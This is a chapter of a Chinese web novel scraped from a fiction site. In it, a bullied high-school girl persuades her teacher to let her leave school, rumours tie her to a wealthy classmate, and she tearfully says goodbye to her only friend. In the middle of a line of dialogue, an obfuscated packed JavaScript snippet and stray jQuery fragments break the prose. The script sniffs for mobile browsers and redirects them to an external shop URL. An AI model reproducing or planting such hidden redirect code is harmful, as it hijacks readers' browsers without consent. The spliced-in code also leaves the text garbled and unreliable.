文趣网 > 其他小说 > 荒嶙烧 > 6. 曙光
    社团活动时间和中午放学之间还有两节课,中间有个课间,蔡叙冉一边收拾东西一边等展琪回来,脑子里回想着刚才办公室里的对话。

    在她问出这句话之后詹老师沉默了一会儿,问:“你应该是听过我刚才怎么说的了,为什么依然要这么问?”

    办公室里没有别的老师,蔡叙冉抿了抿唇,一字一句道:“老师,您应该是知道白沁岚一直在霸凌我这件事的吧?”

    詹老师愣住,她没有说话。

    “但或许您宁愿您不知道,您宁愿我不和您说这件事,又或者您会在我这样说了之后选择表演您的惊讶和愤怒,因为这样您就可以扮演对学生关系一无所知的清白老师,不存在包庇也不存在无作为。”蔡叙冉说,“我很感谢您没有做出这种反应给我看,这至少证明您对我有一些愧疚之心。”

    詹老师放下手里握着的笔:“叙冉,你想说什么?”

    “我想让您同意我从今天开始收拾东西离开学校,一周后我会来把确认单交给您。”蔡叙冉说,“我不能再在学校呆下去,我没必要和您痛哭流涕倾诉什么,尽管我刚才确实想了一下要不要这样做让您怜悯我进而动恻隐之心,毕竟您听到了就不可能装作没听见,您必须做出反应,但我觉得这没意义,我也不想为难您,让您在良心和饭碗之间做选择。毕竟霸凌我伤害我的自始至终只有她,我不想把仇恨扩散到所有人身上。”

    詹老师看着她沉默了很久,最后道:“可以,你可以回去就收拾东西,这样你还可以趁着下节课上课的时间走,我会帮你办请假手续。”

    “谢谢老师。”蔡叙冉打开门离开。

    詹老师似乎很想叫住她对她说什么,最后她只是欲言又止,沉默地看着她离开,然后詹老师神色复杂地看着自己面前写到一半的教案,伸手扶住了额头。

    蔡叙冉东西收拾到一半,就见白沁岚她们走了进来,她顿时僵住,不出意外的话中午放学她们就会来堵她,她不能让她们知道她要回家这件事。于是她假装只是在清理杂物,白沁岚在教室里不会明目张胆过来欺负她,她不知道这是为什么,但她想这不重要,她只需要保证在中午放学前逃走就可以了。

    “蔡叙冉?”

    蔡叙冉转过头,两个从没和她说过话的同学走了过来,脸上居然带着点礼貌到热情的笑:“蔡叙冉,那个……你是不是最近和宿璃微关系很好啊?”

    蔡叙冉愣住:“啊?”

    “是啊,我们刚才去社团活动,好多人都在传你和宿璃微是朋友,还有说她对你很感兴趣的。”

    “你们关系很好吗?你有没有她的联系方式啊,可以帮我问问她愿不愿意加我吗?”

    “你们是听谁说的?”蔡叙冉蹙眉,“我不认识她。”

    那两个人对视一眼,有些尴尬地笑:“蔡叙冉你就不用这样了吧,你和她是朋友这件事有什么隐瞒的必要吗……”

    “对啊,我们羡慕还来不及呢……那可是宿家啊。”

    蔡叙冉觉得莫名其妙,只好说自己要出去整理书柜了,借机摆脱了这两个人。她正在整理书柜,突然被人从后面拍了一下,她又是一惊,几乎是吓了一跳,转头却看见展琪的笑脸:“你怎么这么容易被吓到啊!”

    蔡叙冉心有余悸,其实她很早以前就想让展琪别这样从背后吓她,她曾经就这么被白沁岚三番五次吓过,已经有点阴影了,但她又想这或许就是展琪的习惯,她不想对这个唯一的朋友有太多要求,因此她只是说:“小琪,我是来……”

    “哎呀你可真是不够意思!居然连这种事情都瞒着我!”展琪蹲下来一边帮她整理书一边说,“冉冉,那个艺术展赞助商里有宿家的产业,而且宿家作为改原第一大家族,你和宿璃微熟,完全可以把画给她让她直接内部帮你推荐入选啊!”

    蔡叙冉一脸莫名:“谁说我和宿璃微熟了?她今早还撞上我和白沁岚她们了。”

    “啊?然后呢?她帮你骂白沁岚了?”展琪问。

    “没有,她和白沁岚有说有笑的。”

    “那应该只是客套吧,她跟所有人都有说有笑的。”展琪说,“诶,我刚去社团活动,高一那边有人传到高二,说宿璃微好像和你关系很好!”

    “瞎说的,没这回事。”蔡叙冉说,“小琪,我的朋友就只有你。”

    展琪愣了愣,有些不好意思:“这么肉麻干嘛……冉冉,我没开玩笑,既然他们都这么说肯定不是没原因的,你是不是有宿璃微联系方式啊?那你可以把画的图片先给她看看啊!”

    “我真的不认识她!”蔡叙冉道。

    “……其实我也觉得有点怪,”展琪托腮,“好像突然之间就有人这么说,你也知道我们学校各种流言都传得很快啦,尤其是牵扯上他们那个小圈子的……不过既然有这种说法,冉冉,我感觉你可以把画给她看看诶,如果她真的像他们说的对你很感兴趣,那你就可以借这个机会争取入选了啊!”

    “可我根本不认识她啊,”蔡叙冉蹙眉,“感觉很冒昧。”

    “我看你不是觉得冒昧,而是不自信吧!”展琪说,“冉冉,我觉得你应该去试一下,既然有这么好的机会,你就应该去用啊!她是宿楠连玥的女儿,帮你也就是举手之劳的事情,不只如此,难道你就没想过,不管这是不是流言,你把你们关系很好的事情默认了,白沁岚也不会敢随便欺负你了吧?”

    蔡叙冉必须承认展琪在这些方面比她精明很多,又或者她不是想不到这些,而是不愿意做,一种莫名其妙的自尊心作祟:“但这明显就是流言,白沁岚和宿璃微肯定比我和宿璃微关系更近,她只要去问问宿璃微,不就能知道了?而且宿璃微应该不会喜欢陌生人打着和她很熟的名号吧?”

    展琪叹了口气,压低了些声音:“你真的觉得这完全是流言么?”

    蔡叙冉愣住:“什么意思?”

    “你和她是完完全全两个世界的人,她在高一你在高二,她是世家小姐,就算在端中这种贵族学校都是金字塔最最顶尖的人,你觉得谁会好端端说你们两个关系好或者她对你很有兴趣?”展琪说,“很可能是她有意无意暗示了某些人,或许只是偶然知道你想了解你,也可能是故意的,这就是她给你放的信号。”

    蔡叙冉沉默了一会儿:“……小琪你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771242|209922||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想象力真丰富。”

    展琪撇嘴:“你不信是吧?行,那这样,我一会儿就去找她,跟她推荐你的画,你看她会不会帮你?”

    “她要是想帮我,早上就不会看着我被白沁岚揪着头发还无动于衷了。”蔡叙冉摇头,“小琪,我不是来和你说这些的,我是来真心和你告别的。”

    这下轮到展琪愣住了:“冉冉?”她忽然反应过来蔡叙冉不是在整理书,而是在收拾东西,蔡叙冉原本的书柜是和全班的柜子在一起的,后来被白沁岚往柜子里泼了一整盒红颜料,东西全都毁了,于是她就只能到楼道最边上杂物间外面的破柜子里放东西,这块地方很破旧,平时灰尘很多,白沁岚嫌脏不会来。

    “诶你要直接回家了吗?”展琪问。

    蔡叙冉点头:“呆在这也没意义了吧,一周后我来学校把确认单交给詹老师就行了。”

    “她刚不是说不能回家吗?”

    “我说服她了。”

    “噢噢,”展琪有些呆滞,两人沉默了一会儿她才说,“诶那教学楼的卫生兼职你不做了吗?”

    “不做了,防患于未然。”蔡叙冉果断道。现在对她来说最安全的选择就是回家,她不能再呆在学校等着白沁岚来纠缠她。至于兼职的费用,她现在完全空闲下来了,可以在家附近找地方,不必非得来这里冒险。

    展琪沉默,她才意识到蔡叙冉要走了,并不是简单地请几天假,她是真的要离开端中,下半年她就去大学了。

    “哎呀我们不是有联系方式的吗?而且我应该也会留在改原上大学,到时候完全可以去找你玩的啊!”展琪笑起来,“这根本不算离别啦冉冉,我们这种朋友,是不会被时间分开的哦!”?蔡叙冉看着她,眼睛有点发热,固执地说:“但我就是来等你和你告别的啊,小琪,谢谢你这些年一直陪着我不离开我,如果没有你,我也不一定能支撑到现在,我是真的很感谢你。”

    展琪闻言眼眶微红:“冉冉你别这么说了……其实这么多年我看着你被白沁岚欺负我却没有勇气站出来帮你回击,我一直很愧疚,觉得自己根本就不配称为是你的朋友啊,朋友哪能是这样呢?朋友就应是在你被欺负被羞辱的时候第一个站出来和你的敌人为敌的啊,可是对不起冉冉……我不敢惹她,我唯一能做的就是陪着你鼓励你,除此以外其实我真的做不了任何事,对不起,或许你最应该感谢的是你自己,我真的很佩服你能做到这些!”

    蔡叙冉眼眶盈满了泪水,她忽然伸手紧紧抱住了展琪,两个人都开始压抑地哭,好像再也见不到了一样。

    “小琪……我想帮你实现一个愿望,你有什么想要的吗?”

    展琪在她肩头蹭了蹭眼泪,突然直起身猛地拍了她一下,伸手抹掉泪水坚决地说:“蔡叙冉!你必须把那幅画给宿璃微看看!这就是我的愿望!要是你实在不敢或者急着走,那你把画给我!我去帮你说!”

    “……什么啊,”蔡叙冉感觉泪水又涌了出来,“明明是我来实现你的愿望啊?怎么可以是这种愿望。”

    “这就是我的愿望啊。”展琪轻轻地说,“冉冉,这就是我的愿望。”